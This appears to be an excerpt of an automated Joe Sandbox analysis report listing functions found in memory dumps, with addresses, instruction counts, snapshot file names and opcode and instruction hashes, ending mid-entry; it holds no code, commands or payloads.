                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: ,z|
                                                                            • API String ID: 0-1115015933
                                                                            • Opcode ID: c623bbf1da774678c6ff0819faa2aa0f45a413c61715ed05ed27ec550bd2e4c8
                                                                            • Instruction ID: 48093b414d3de602c99430fa8e3373aaac424b29769dedf849610080c67eb5fe
                                                                            • Opcode Fuzzy Hash: c623bbf1da774678c6ff0819faa2aa0f45a413c61715ed05ed27ec550bd2e4c8
                                                                            • Instruction Fuzzy Hash: 3A11E934A002189FCB04DFA9C949AADBBF1FF48300F5584A9E509EB361D779E981CF90
                                                                            Function 045081E5 Relevance: 1.3, Strings: 1, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: &
                                                                            • API String ID: 0-1010288
                                                                            • Opcode ID: f03d07de8d96289db2d59f1bb5f793e430f0597eed836b6cc09daacea682cdc6
                                                                            • Instruction ID: 0c73b6fa385b040ba83bc5f1907114ebe2748e4c58786f60bcc0ba2b48cd1b4d
                                                                            • Opcode Fuzzy Hash: f03d07de8d96289db2d59f1bb5f793e430f0597eed836b6cc09daacea682cdc6
                                                                            • Instruction Fuzzy Hash: E121AE74A00268CFEB60DF19D854BDCBBB6BB09304F1084DAD509BB284D776AE85DF40
                                                                            Function 00A10A90 Relevance: 1.3, Strings: 1, Instructions: 42COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: hB{
                                                                            • API String ID: 0-3156068025
                                                                            • Opcode ID: 6baff93ef50970c883d0913d69964853f22960a510bcab7e23d51c692131cb41
                                                                            • Instruction ID: 6d4c64e1a47aa1df0d8a85ee457969b09ed59c228cf124e1cb1cc9d2b1b3fe41
                                                                            • Opcode Fuzzy Hash: 6baff93ef50970c883d0913d69964853f22960a510bcab7e23d51c692131cb41
                                                                            • Instruction Fuzzy Hash: 6401A232D0460B97CB149BA9D8009EEBB76EFCA320F594655E50177164EF7422C9CBE1
                                                                            Function 045078EF Relevance: 1.3, Strings: 1, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: )
                                                                            • API String ID: 0-2427484129
                                                                            • Opcode ID: 2e99d8d031580cc34bcf2c18e547a6ee87a852e118deeb75057eaf0e76cadcf1
                                                                            • Instruction ID: 2e8cd87fae04044c2ea59d6b32bfd7d352827143f78af90e36c3756719c6bf2a
                                                                            • Opcode Fuzzy Hash: 2e99d8d031580cc34bcf2c18e547a6ee87a852e118deeb75057eaf0e76cadcf1
                                                                            • Instruction Fuzzy Hash: 9D11CD78904228CFEB60CF64C884BE9BBB1BB09304F1086D9D40DA7294D736AEC6DF10
                                                                            Function 04508009 Relevance: 1.3, Strings: 1, Instructions: 38COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: &
                                                                            • API String ID: 0-1010288
                                                                            • Opcode ID: daf02070026c5aef71d56b8065f7bbae698b32ca89e1b1c091f065272a89a366
                                                                            • Instruction ID: ad3acf3d7edf4c470447b4244ec7d85930a0ab0c60c86ee3a8ced852463ff9f8
                                                                            • Opcode Fuzzy Hash: daf02070026c5aef71d56b8065f7bbae698b32ca89e1b1c091f065272a89a366
                                                                            • Instruction Fuzzy Hash: 1511AC74A01269CFDB60DF28D844BDDBBB2BB09300F1084DAE509BB284D736AE85CF40
                                                                            Function 04507C21 Relevance: 1.3, Strings: 1, Instructions: 36COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: &
                                                                            • API String ID: 0-1010288
                                                                            • Opcode ID: 507cffdb8ae42941a96fe572ab272814d3e7ecee54d361526103986520a5097d
                                                                            • Instruction ID: daa64e7925a6e9a83dc853018e7a64756560dde10c9ed67b2a58e3b1fb5fcfef
                                                                            • Opcode Fuzzy Hash: 507cffdb8ae42941a96fe572ab272814d3e7ecee54d361526103986520a5097d
                                                                            • Instruction Fuzzy Hash: A7119D74A05228CFEB60DF18D944BDDBBB6BB08300F1085DAE509B7284D376AE85DF10
                                                                            Function 04507528 Relevance: 1.3, Strings: 1, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: !
                                                                            • API String ID: 0-2657877971
                                                                            • Opcode ID: 22bade1a1f162778bc2eeafee79a59f3a6942052d5585129f3b899ba0917e769
                                                                            • Instruction ID: 1b6a785cdbd47682f9cb0b6e44c539c1955bb224fbe625ff149c0323be8127a0
                                                                            • Opcode Fuzzy Hash: 22bade1a1f162778bc2eeafee79a59f3a6942052d5585129f3b899ba0917e769
                                                                            • Instruction Fuzzy Hash: C5F03938904219CFCB24DF51DA08BD9BBB5FB49305F1084DAD80A76290D339AEC5EF00
                                                                            Function 00A12A90 Relevance: .5, Instructions: 533COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: dcb6774321308d92db01f49ae5722e7830232ab8d71a068d3f15a3d12a76a4e5
                                                                            • Instruction ID: a52652fd04e4a04ab264c440fcc9073b91ce3263e41a684ac56f73871b87d5ac
                                                                            • Opcode Fuzzy Hash: dcb6774321308d92db01f49ae5722e7830232ab8d71a068d3f15a3d12a76a4e5
                                                                            • Instruction Fuzzy Hash: D84213B4901600CFEB21EF0AD588A99BBF1FB51305F9AC0A9D1195F66AD376EDC4CB40
                                                                            Function 00A129B8 Relevance: .5, Instructions: 483COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9250dc1590dbf479254ae820ad40cc236d1a1b84e3e7d1e0e57566987dc9c4d9
                                                                            • Instruction ID: 72407957e129447b80dfd67b7c618129eafbf6e525eb306d5159873afac5e060
                                                                            • Opcode Fuzzy Hash: 9250dc1590dbf479254ae820ad40cc236d1a1b84e3e7d1e0e57566987dc9c4d9
                                                                            • Instruction Fuzzy Hash: 393215B1911640CFE721EF1AE548A957BF1BB11305F8AC0AAD1195FA6BD376EDC8CB00
                                                                            Function 00A13618 Relevance: .5, Instructions: 463COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: aad012d181d4ae0726829d00fbb5b517571480ffee2c80d794421512d632185e
                                                                            • Instruction ID: a172f61552a25b8b18de640e6d15547e5572b38419e47341746962684805a5a8
                                                                            • Opcode Fuzzy Hash: aad012d181d4ae0726829d00fbb5b517571480ffee2c80d794421512d632185e
                                                                            • Instruction Fuzzy Hash: 66029D72A08209DFDF10CF69C994AEABBB1FF44300F24856AE446AB351D735EE85CB51
                                                                            Function 00A12A88 Relevance: .4, Instructions: 395COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d5989a51730ffa2cb523086d457a5ae9083b45b74ef3b18081f488a3c37d0dd9
                                                                            • Instruction ID: 1cf3335497f0a3017cabf50a4c0ae1d99c91d8971fed8c27664659b06145102e
                                                                            • Opcode Fuzzy Hash: d5989a51730ffa2cb523086d457a5ae9083b45b74ef3b18081f488a3c37d0dd9
                                                                            • Instruction Fuzzy Hash: 4C12C3B5951640CFEB21EF16D14CA947BE1BB11306F8AC0AAD1195F66BE376EDC8CB00
                                                                            Function 00A16484 Relevance: .2, Instructions: 235COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 80c5ff17e59da11445b68aef9802fec75bc128b195098bb302ea7efabb8caf22
                                                                            • Instruction ID: 588d15f7c32c7a9de5cf2a622935a2a0164a7764efc8ae82d289e07365459b91
                                                                            • Opcode Fuzzy Hash: 80c5ff17e59da11445b68aef9802fec75bc128b195098bb302ea7efabb8caf22
                                                                            • Instruction Fuzzy Hash: 9E41DB7090428C9FCB15CFA9D584AEEBFF1EF49310F14806AE448EB265CB319985CFA4
                                                                            Function 045058F1 Relevance: .2, Instructions: 234COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 76aef0d4ea5c1ba8597bb5b85e4e292cd9303cdf5c37acf523d7a544d48c7bd2
                                                                            • Instruction ID: 0830cc0110cd348cb9a18b08a4c79fe33eb48ed1d84d438c34e64254184b0fdd
                                                                            • Opcode Fuzzy Hash: 76aef0d4ea5c1ba8597bb5b85e4e292cd9303cdf5c37acf523d7a544d48c7bd2
                                                                            • Instruction Fuzzy Hash: A9B1E674A05218DFDB94EF68D884BADB7B2FB89300F1084AAD50EA7255EB346D84CF51
                                                                            Function 00A1651C Relevance: .2, Instructions: 211COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0685c1ab75003691109924983be1ae9ca47dcafd62f5b50823719e9a3d4254c6
                                                                            • Instruction ID: 8cd3e338d2cac31aa17203fbb1725b872db035f31ab7644753703b2d732e3f3d
                                                                            • Opcode Fuzzy Hash: 0685c1ab75003691109924983be1ae9ca47dcafd62f5b50823719e9a3d4254c6
                                                                            • Instruction Fuzzy Hash: E4317CB0D012489FCB14DFA9C580ADEBFF1AF48344F248069E849AB350DB349D85CFA0
                                                                            Function 00A13615 Relevance: .1, Instructions: 136COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 227c7238cf965de370f0d13d88bf9b37a656bf812863a8faa3d4d0f93fae9f16
                                                                            • Instruction ID: e605f1ec59a578860dcb8945840310b9efbe438e6e666cd23b1083768ff42432
                                                                            • Opcode Fuzzy Hash: 227c7238cf965de370f0d13d88bf9b37a656bf812863a8faa3d4d0f93fae9f16
                                                                            • Instruction Fuzzy Hash: 60513BB6A05209EFDF01CF98D580BEEBBB2EF44340F248125E419AB341D774AE858B91
                                                                            Function 00A13890 Relevance: .1, Instructions: 130COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0576cfcc3e10b0e179ae2a92fdb6ae9c0a6733a2742c8672091b0c707a267a76
                                                                            • Instruction ID: 6418b2ddae84cca80ef6142837c675b3f122a9b728976f073aca8cf836428a9d
                                                                            • Opcode Fuzzy Hash: 0576cfcc3e10b0e179ae2a92fdb6ae9c0a6733a2742c8672091b0c707a267a76
                                                                            • Instruction Fuzzy Hash: 6B511776A04209DFCB10DF59C584AAABBF5FF48350F20856AE54AD7320D331EA85DB91
                                                                            Function 00A134B6 Relevance: .1, Instructions: 126COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a43ec908a6bc819984359cafad876297eed53c0d1b70f8ae330dce72bb21c019
                                                                            • Instruction ID: 4c5baf0e015842f81fd7724bf140f77947991fd7816f518fd04cbcf8b59800be
                                                                            • Opcode Fuzzy Hash: a43ec908a6bc819984359cafad876297eed53c0d1b70f8ae330dce72bb21c019
                                                                            • Instruction Fuzzy Hash: 2F414932A04245CFCF01CF68D890AEDBB72FF51311F258967D906AB152EB35AAC6CB50
                                                                            Function 00A13D08 Relevance: .1, Instructions: 120COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 8af99091b978773cf12c01807f6ea2aca18f6bd9599277be060e838f9e6baceb
                                                                            • Instruction ID: cb9ece5d995c85ae7205f7ed55f7fde3b6b5ffe70343ee26e60a4d2a497fc307
                                                                            • Opcode Fuzzy Hash: 8af99091b978773cf12c01807f6ea2aca18f6bd9599277be060e838f9e6baceb
                                                                            • Instruction Fuzzy Hash: C1417532604245DFDF14DF69D981AFEBBB2FF85300F204969E5019B295C730DA81DB95
                                                                            Function 00A1DCE9 Relevance: .1, Instructions: 109COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 57cf88fd05827cb91d930f6d9f60a23d451a3a606d64115251e535e895ccf7da
                                                                            • Instruction ID: 958e49d53443cf592c15bef1de4b718a1a831763ba6f66dde90a0a30362ee80b
                                                                            • Opcode Fuzzy Hash: 57cf88fd05827cb91d930f6d9f60a23d451a3a606d64115251e535e895ccf7da
                                                                            • Instruction Fuzzy Hash: 2F4193B09062489FD701DF68E4587EE7FF6EF46300F5081D6D405EB296D7788A85CB91
                                                                            Function 00A10DE0 Relevance: .1, Instructions: 106COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9d492f9814146dccba9cb19bcbe69fb17126117ab98bd704dce31b69fd45b778
                                                                            • Instruction ID: 43188f36db10020a2f1e6084c71d859460f8ff8c23e44fc7a728bf401fc1c3f2
                                                                            • Opcode Fuzzy Hash: 9d492f9814146dccba9cb19bcbe69fb17126117ab98bd704dce31b69fd45b778
                                                                            • Instruction Fuzzy Hash: 2A416030B002149FCB15EBA9D045AEDBBF2EF88314F148469E40AEB391DB799D81CB95
                                                                            Function 00A10DF0 Relevance: .1, Instructions: 105COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a7ea8378719b0ecfdbe6d3e31201a6c0558e2667f867dfaddbc6716cb6c9908f
                                                                            • Instruction ID: 757bcb34682fbb69417686e4b595c9c2653e47c33aac2fbef43ef0e41d00a206
                                                                            • Opcode Fuzzy Hash: a7ea8378719b0ecfdbe6d3e31201a6c0558e2667f867dfaddbc6716cb6c9908f
                                                                            • Instruction Fuzzy Hash: 82414E30B002189FCB15EBA9D145AADBBF2EF88314F548069E409EB391DB75ADC1CB95
                                                                            Function 00A11F41 Relevance: .1, Instructions: 95COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ccfda58e221ce0df231fb19a2d226ca7490d1667e7b150fb101fbaa3bd7b8d73
                                                                            • Instruction ID: ade7fd56d9aa0c42a2749b159067b5b63175a7cb44c388a6bf4beb8324b2dc3e
                                                                            • Opcode Fuzzy Hash: ccfda58e221ce0df231fb19a2d226ca7490d1667e7b150fb101fbaa3bd7b8d73
                                                                            • Instruction Fuzzy Hash: 81219334B042058FD758DB35D400BEA37F5EBC5740F24896AD6059B288E730DD93D7A2
                                                                            Function 00A12268 Relevance: .1, Instructions: 91COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 43652e461724583da7de9331ab7cfe68feb49d071c9fb8838bc33fb481ea0d20
                                                                            • Instruction ID: b0ae53e0e4d0e147b85fce3d9657aea3f3a53b538e6144949fd36806f636f637
                                                                            • Opcode Fuzzy Hash: 43652e461724583da7de9331ab7cfe68feb49d071c9fb8838bc33fb481ea0d20
                                                                            • Instruction Fuzzy Hash: BE2106313083419FF7608B799D447EE7BE5EB91354F14053EE446C6680E678D8E1D361
                                                                            Function 0450600A Relevance: .1, Instructions: 88COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 37878def57564794f7843580511ec10a13af4cef1ddd30bf97cacabfbd2b2ade
                                                                            • Instruction ID: 689bf117b6a753d168b8f2513ee3a719e6c4eb5f0b98fb40b479c079d7f175a9
                                                                            • Opcode Fuzzy Hash: 37878def57564794f7843580511ec10a13af4cef1ddd30bf97cacabfbd2b2ade
                                                                            • Instruction Fuzzy Hash: D1315CB8E45248CFDB44CFA9D4906ADBBF6BB89300F20D469D409A7395EB34A945EF00
                                                                            Function 0450611D Relevance: .1, Instructions: 85COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c9bc256433e1b8705be5e7f24cbc7b38a224ccc7e5c02f68186e2d465636509c
                                                                            • Instruction ID: 528240efbda543af1ee1d9c0e053b4868e467745708084c9315c18c75a22c098
                                                                            • Opcode Fuzzy Hash: c9bc256433e1b8705be5e7f24cbc7b38a224ccc7e5c02f68186e2d465636509c
                                                                            • Instruction Fuzzy Hash: B631F778A45218CFDB90DF68D894BAEB7F2BB49300F1094A9D409BB385DB34A984DF01
                                                                            Function 04505937 Relevance: .1, Instructions: 85COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 45edededad8b2f330705e3101f878da2e0478091b83ac9d14416240228967f17
                                                                            • Instruction ID: ee3260846536a509cbd3650756440c17fcbfbd24a89be0866ab7f93e65f69f66
                                                                            • Opcode Fuzzy Hash: 45edededad8b2f330705e3101f878da2e0478091b83ac9d14416240228967f17
                                                                            • Instruction Fuzzy Hash: C641EA74A00118CFCB94EF68D854BADB7B2FB88350F1084AAD90EB7745DA346E84CF50
                                                                            Function 00A16620 Relevance: .1, Instructions: 83COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ddece2153c2e6c180f6104a142c089e18b7b73941844d91c6ad314a311361b1d
                                                                            • Instruction ID: a236c99acd3e3faf049d2e58cadc3db123aa33d3fd991aa2ba8ba6f23abb25f8
                                                                            • Opcode Fuzzy Hash: ddece2153c2e6c180f6104a142c089e18b7b73941844d91c6ad314a311361b1d
                                                                            • Instruction Fuzzy Hash: 403149B0D002589FCB14DFAAC580ADEBFF5AF48354F248429E959AB350DB349985CFA4
                                                                            Function 00A10CB8 Relevance: .1, Instructions: 83COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4ece4cde2f11344086d42e8a138aa4544bd1038d3f38a52ef66a4e46d0df1a08
                                                                            • Instruction ID: 12774af2c0e8130e7257908c16ab267a19eb78491020f97f2ad85f8a9e26b12f
                                                                            • Opcode Fuzzy Hash: 4ece4cde2f11344086d42e8a138aa4544bd1038d3f38a52ef66a4e46d0df1a08
                                                                            • Instruction Fuzzy Hash: 9321A271B002099FCB14EBA8D540ADEFBF6EFC8350B15806AE806E7354DB74AD84CB91
                                                                            Function 04502893 Relevance: .1, Instructions: 79COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9076f987a3e4962754dedbd9fa01f02df9d87294857dc788d9716eb96ab223aa
                                                                            • Instruction ID: 21ce7bf44acdce2dd80a6edb273478ecb748fa15a2d3915d2664cea7f3c939fb
                                                                            • Opcode Fuzzy Hash: 9076f987a3e4962754dedbd9fa01f02df9d87294857dc788d9716eb96ab223aa
                                                                            • Instruction Fuzzy Hash: 00311974A04218CFDB60DF28D859BD8B7F2FB49304F5080E9E509A7686E7745E85EF00
                                                                            Function 00A10CA8 Relevance: .1, Instructions: 76COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 2122993d9bf3a3fbe584fb20bcdbdf5f281a316efb3d3bd85fdcd4e36e4d3b94
                                                                            • Instruction ID: 92aff10416175dc76b7f666dd07e0a391c767bc5b7491d4bb2d9573ce6c7754e
                                                                            • Opcode Fuzzy Hash: 2122993d9bf3a3fbe584fb20bcdbdf5f281a316efb3d3bd85fdcd4e36e4d3b94
                                                                            • Instruction Fuzzy Hash: 9921D371A00105DFCB10DF68D440ADEBBF6EF8D310B1484AAD846E7214DB34AD85CB90
                                                                            Function 045025CD Relevance: .1, Instructions: 76COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d302929242cdc89e4ba2b3f133849f3f56983da7b866f53de98a33fb9a8d6d11
                                                                            • Instruction ID: 196c65ddbde764f78edd5428d9ce0f7385c7848f650e15392cf29d38bb360a74
                                                                            • Opcode Fuzzy Hash: d302929242cdc89e4ba2b3f133849f3f56983da7b866f53de98a33fb9a8d6d11
                                                                            • Instruction Fuzzy Hash: 4931E774A04218CFDB60DF28D859798B7F2FB49305F5080EAE509A7696E7745E85EF00
                                                                            Function 04505F00 Relevance: .1, Instructions: 76COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
